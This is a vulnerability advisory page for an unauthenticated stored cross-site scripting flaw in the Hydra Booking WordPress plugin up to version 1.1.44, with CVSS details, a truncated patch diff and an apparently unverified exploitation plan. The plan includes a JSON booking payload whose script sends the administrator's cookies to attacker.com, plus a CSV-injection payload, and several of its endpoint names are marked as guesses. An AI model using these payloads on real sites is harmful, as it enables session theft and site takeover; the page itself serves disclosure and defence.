CVE-2026-57388

Hydra Booking — Appointment Scheduling & Booking Calendar <= 1.1.44 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.45
Patched in
7d
Time to patch

Description

The Hydra Booking — Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.1.44 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.44
PublishedJuly 8, 2026
Last updatedJuly 14, 2026
Affected pluginhydra-booking

What Changed in the Fix

Changes introduced in v1.1.45

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57388 ## 1. Vulnerability Summary The **Hydra Booking** plugin (<= 1.1.44) contains an **Unauthenticated Stored Cross-Site Scripting (XSS)** vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking reque…

Show full research plan

Exploitation Research Plan - CVE-2026-57388

1. Vulnerability Summary

The Hydra Booking plugin (<= 1.1.44) contains an Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin allows unauthenticated users (site visitors) to submit booking requests containing arbitrary data (e.g., in name or note fields). This data is stored in the database without sufficient sanitization and is subsequently rendered in the WordPress administrative dashboard without proper output escaping.

An attacker can inject a malicious <script> payload into a booking. When an administrator views the bookings list or a specific booking's details in the plugin's backend, the script executes in the context of the administrator's session, potentially leading to full site takeover.

2. Attack Vector Analysis

  • Endpoint: REST API POST /wp-json/hydra-booking/v1/bookings/create (inferred from RouteController.php and MeetingController.php patterns).
  • Vulnerable Parameter: first_name, last_name, or note (within the JSON payload).
  • Authentication: Unauthenticated (None).
  • Preconditions: At least one "Meeting" must be created and published by an admin to serve as a target for the booking.

3. Code Flow

  1. Entry Point: A visitor submits a booking via the frontend form or a direct REST API request to hydra-booking/v1/bookings/create.
  2. Controller Logic: The BookingController::CreateBooking (inferred) method receives the request. It uses json_decode(file_get_contents('php://input'), true) to parse the payload.
  3. Storage: The data is passed to the HydraBooking\DB\Booking class, which inserts the record into the custom database table (e.g., wp_tfhb_bookings or similar, created during Migrator::run()). The fields are stored without sanitize_text_field() or wp_kses().
  4. Trigger Point (Sink): An administrator navigates to the "Bookings" page (wp-admin/admin.php?page=hydra-booking#/bookings).
  5. Rendering: The admin dashboard (likely a Vue/React app) fetches the bookings via GET /wp-json/hydra-booking/v1/bookings/lists. The raw malicious string is returned in the JSON response and rendered into the DOM (e.g., using v-html or unescaped template literals).

4. Nonce Acquisition Strategy

While many REST routes in this plugin require permissions, the booking creation endpoint is designed for public use. However, WordPress REST API endpoints often require a _wpnonce for authenticated sessions or to prevent CSRF.

  1. Shortcode: The plugin uses [hydra-booking] to display the booking calendar.
  2. Page Creation: Create a page with this shortcode to ensure scripts are enqueued:
    wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[hydra-booking]'
    
  3. Extraction: Navigate to the new page and extract the localized data.
    • JS Variable (Inferred): window.tfhb_hydra_data or window.hydra_booking_params.
    • Nonce Key: Look for nonce or rest_nonce.
    • Command: browser_eval("window.tfhb_hydra_data?.nonce")

5. Exploitation Strategy

Step 1: Discover an Active Meeting

First, identify a valid meeting_id.

GET /wp-json/hydra-booking/v1/meetings/lists

(If unauthenticated access to lists is blocked, the attacker would visit the public booking page and observe the meeting ID in the frontend scripts or network requests.)

Step 2: Inject Stored XSS

Submit a booking with a payload in the first_name field.

Request:

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-json/hydra-booking/v1/bookings/create
  • Headers: Content-Type: application/json
  • Body:
{
  "meeting_id": 1,
  "first_name": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\"+document.cookie)'>",
  "last_name": "Attacker",
  "email": "victim@example.com",
  "meeting_dates": "2025-10-10",
  "start_time": "10:00 AM",
  "end_time": "10:30 AM",
  "time_zone": "UTC",
  "note": "Please review my booking"
}

Step 3: Trigger the Payload

Wait for or trick the admin into visiting the bookings page:
http://localhost:8080/wp-admin/admin.php?page=hydra-booking#/bookings

6. Test Data Setup

  1. Admin User: Create an admin user.
  2. Meeting: Create a meeting via WP-CLI or the UI to get a valid ID.
    # Create a meeting post
    ID=$(wp post create --post_type=tfhb_meeting --post_title="Consultation" --post_status=publish --porcelain)
    # Set required meta for the plugin to recognize it
    wp post meta update $ID __tfhb_meeting_opt '{"duration":30,"meeting_type":"one-to-single"}'
    
  3. Public Page: Create a page with [hydra-booking] to simulate a live site.

7. Expected Results

  • The REST API should return a success message: {"status": true, "message": "Booking Created Successfully"}.
  • When the admin views the booking list, a network request to attacker.com should be observed, or an alert box should appear if using alert(1).

8. Verification Steps

Verify the payload is stored in the database:

# Check the bookings table (table name based on Migrator class)
wp db query "SELECT first_name FROM wp_tfhb_bookings WHERE last_name='Attacker'"

The output should contain the raw <img ...> tag.

9. Alternative Approaches

  • Field Variation: If first_name is sanitized, attempt injection in note, last_name, or email (using comment syntax if needed).
  • AJAX Endpoint: If the REST API is restricted, check for the equivalent AJAX action: wp_ajax_nopriv_tfhb_create_booking (inferred).
  • CSV Export: If the dashboard is secure, check if the plugin has a "Export Bookings to CSV/Excel" feature. Inject a CSV Injection payload (e.g., =cmd|' /C calc'!A0) into the booking fields to target the administrator's local machine.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Hydra Booking plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the booking creation REST API. Attackers can submit booking requests containing malicious scripts in parameters such as first_name or note, which are stored without sanitization and executed when an administrator views the bookings list in the backend.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/hydra-booking/1.1.44/admin/Admin.php /home/deploy/wp-safety.org/data/plugin-versions/hydra-booking/1.1.45/admin/Admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/hydra-booking/1.1.44/admin/Admin.php	2026-05-26 17:57:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/hydra-booking/1.1.45/admin/Admin.php	2026-06-08 10:05:10.000000000 +0000
@@ -1,7 +1,8 @@
 <?php
+
 namespace HydraBooking\Admin;
 
-use HydraBooking\Admin\Controller\AdminMenu; 
+use HydraBooking\Admin\Controller\AdminMenu;
 use HydraBooking\Admin\Controller\Notification;
 use HydraBooking\Admin\Controller\UpdateController;
 use HydraBooking\Services\Integrations\Zoom\ZoomServices;
@@ -9,25 +10,28 @@
 use HydraBooking\Migration\Migration;
 use HydraBooking\Admin\Controller\NoticeController;
 use HydraBooking\Admin\Controller\licenseController;
-use HydraBooking\License\HydraBooking; 
+use HydraBooking\License\HydraBooking;
 // Load Migrator
 use HydraBooking\DB\Migrator;
 
-	// exit
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; }
+// exit
+if (! defined('ABSPATH')) {
+	exit;
+}
 
-class Admin {
+class Admin
+{
 
 	// constaract
-	public function __construct() { 
+	public function __construct()
+	{
 		// run migrator
 		new Migrator();
-	
+
 
 		// admin menu
 		new AdminMenu();
- 
+
 
 		// update controller
 		new UpdateController();
@@ -39,68 +43,71 @@
 		// new Notification();
 
 		// activation hooks
-		register_activation_hook( TFHB_URL, array( $this, 'activate' ) );
+		register_activation_hook(TFHB_URL, array($this, 'activate'));
 
 		Migration::instance();
 
 		// license controller
-        new  HydraBooking();
+		new  HydraBooking();
 		new licenseController();
-		
 
-		add_action( 'admin_init', array( $this, 'tfhb_hydra_activation_redirect' ) );
+
+		add_action('admin_init', array($this, 'tfhb_hydra_activation_redirect'));
 
 		// Update Existing User Role
-		add_action( 'admin_init', array( $this, 'plugins_update_v_1_0_10' ) );
+		add_action('admin_init', array($this, 'plugins_update_v_1_0_10'));
 
 		// 
 		// add dome in admin footer based one page template
-		add_action( 'admin_footer', array( $this, 'add_admin_footer_content' ) );
+		add_action('admin_footer', array($this, 'add_admin_footer_content'));
 
 
-		add_action('wp_ajax_tfhb_hydra_manage_plugin', array( $this, 'tfhb_hydra_manage_plugin' ) );
+		add_action('wp_ajax_tfhb_hydra_manage_plugin', array($this, 'tfhb_hydra_manage_plugin'));
 
 		// send demo mail
 		// add_action('admin_init', array( $this, 'tfhb_send_demo_mail' ) );
-	 
+
 	}
...
(truncated)

Exploit Outline

1. Identify an active meeting ID by visiting the public booking page and inspecting frontend scripts or network requests. 2. Submit a malicious booking request via an unauthenticated POST request to the REST API endpoint: `/wp-json/hydra-booking/v1/bookings/create`. 3. Include a JSON payload containing an XSS script (e.g., `<img src=x onerror=alert(1)>`) in parameters like `first_name`, `last_name`, or `note`. 4. Wait for or trick an administrator into visiting the 'Bookings' page in the WordPress admin dashboard (`/wp-admin/admin.php?page=hydra-booking#/bookings`). 5. The malicious script executes in the context of the administrator's browser session, allowing for data theft or site modification.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.